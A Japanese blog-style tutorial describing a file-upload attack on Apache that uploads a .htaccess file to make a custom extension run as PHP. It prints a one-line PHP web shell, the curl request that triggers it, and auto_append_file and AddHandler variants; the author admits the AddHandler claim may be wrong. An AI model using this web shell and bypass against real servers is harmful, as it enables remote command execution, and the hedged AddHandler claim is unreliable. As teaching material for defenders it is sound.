.htaccessファイルを使ったファイルアップロード攻撃
始めに
ファイルアップロードによりweb上で任意のスクリプト実行に至る攻撃手法を紹介します。.htaccess
ファイルとはApacheで利用できる、ディレクトリ単位でwebサーバの設定をするための設定ファイルのことです。.htaccess
を用いたファイルアップロード攻撃は次の要素が揃うと成立します。
- Apacheを利用している。
- アップロードしたファイルにアクセスできる。
- アップロードしたファイルの種類チェックが不十分である。
また、この攻撃はスクリプトを実行できる拡張子(.php, .py等)がブラックリスト形式でブロックされている場面で役にたつと思われます。
攻撃手法
設定ファイルhttpd.conf
でAllowOverride
ディレクティブがALL
と設定されている場合.htaccess
ファイルを用いた設定が制限なく行えます。このAllowOverride
ディレクティブは2021/07/17現在CurrentとなっているApache version2.4では、デフォルトでALL
となっています。
ファイルアップロード機能を使い、.htaccess
ファイルをアップロードすることで、.htaccess
ファイルが保存されるディレクトリの設定を書き換えてしまうことができます。
【攻撃手順】
1. 次のような.htaccess
をアップロードし、アップロード先のディレクトリの設定を変更します。この設定により拡張子.yarikomi
はphpの実行ファイルとして認識されるようになります。
AddType application/x-httpd-php .yarikomi
設定上アップロードしたファイルは/files/username/filename
というパスでアクセス可能とします。
2. 悪意のあるスクリプトrce.yarikomi
をアップロードします。
<?php system($_GET['cmd']);?>
3. 悪意のあるスクリプトにアクセスすることで任意のコマンドを実行することができます。
$ curl http://vulnsite.com/files/attacker/script.yarikomi?cmd=ls
その他の攻撃手法
.htaccess
を用いた攻撃手法は上記のようなAddType
ディレクティブを用いた方法以外にも複数存在します。
php_valueディレクティブを用いた攻撃手法
php_value
ディレクティブを用いると、ChangeableがPHP_INI_PERDIRな項目を設定できます。
任意のスクリプトを実行するためにauto_prepend_fileまたはauto_append_fileの設定を利用することができます。
# .htaccessの設定例 AddType application/x-httpd-php .yarikomi php_value auto_append_file /path/to/script.yarikomi
【攻撃手順】
1. 上記のような.htaccess
をアップロードします。
2. 悪意のあるスクリプトscript.yarikomi
をアップロードします。
3. エントリーポイントとなるentory_point.yarikomi
をアップロードします。(auto_append_file
で設定したscript.yarikomi
を実行させるために利用しているので中身はなんでも大丈夫です。)
4. entory_point.yarikomi
にアクセスして,script.yarikomi
を実行します。
AddHandlerディレクティブを用いた攻撃手法
# .htaccessの設定例 AddHandler php5-script .php
上記のような設定をした.htaccess
を用いることで.php
という文字列の入ったファイルはphpの実行ファイルとして認識されるようになります。(このあたりもしかしたら嘘かもしれないです...)
参考資料
Insomnihack Teaser 2019 / l33t-hoster
How File Upload Forms are Used by Online Attackers